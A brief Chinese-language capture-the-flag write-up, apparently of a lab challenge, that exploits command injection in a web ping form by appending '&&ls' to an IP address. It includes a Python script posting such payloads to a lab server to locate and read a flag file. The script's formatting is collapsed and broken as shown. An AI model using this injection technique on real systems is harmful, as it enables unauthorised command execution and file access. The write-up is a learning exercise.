题目
解题分析
进入网站，先ping 127.0.0.1 如图：
证明输入的指令可以在服务器里运行，然后再试试ls这种基础命令，使用“&&”命令，如图：
也可以执行。
写一个查询flag文件的脚本
import requestsurl = "http://220.249.52.133:30703/"list = ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'run.sh', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var'] for i in list: payload = {"target": "127.0.0.1&&ls ../../../%s" % i} #查看源代码，发现输入框的id为“target”，在此模拟输入框的功能res = requests.post(url, data=payload).textif "flag" in res: print("current: ", i)break
运行后输出：
linux系统中的home一般都在根目录下，先查看home目录下都有什么，如下：
只有一个文件flag.txt
使用cat命令查看其内容：
bingo !!!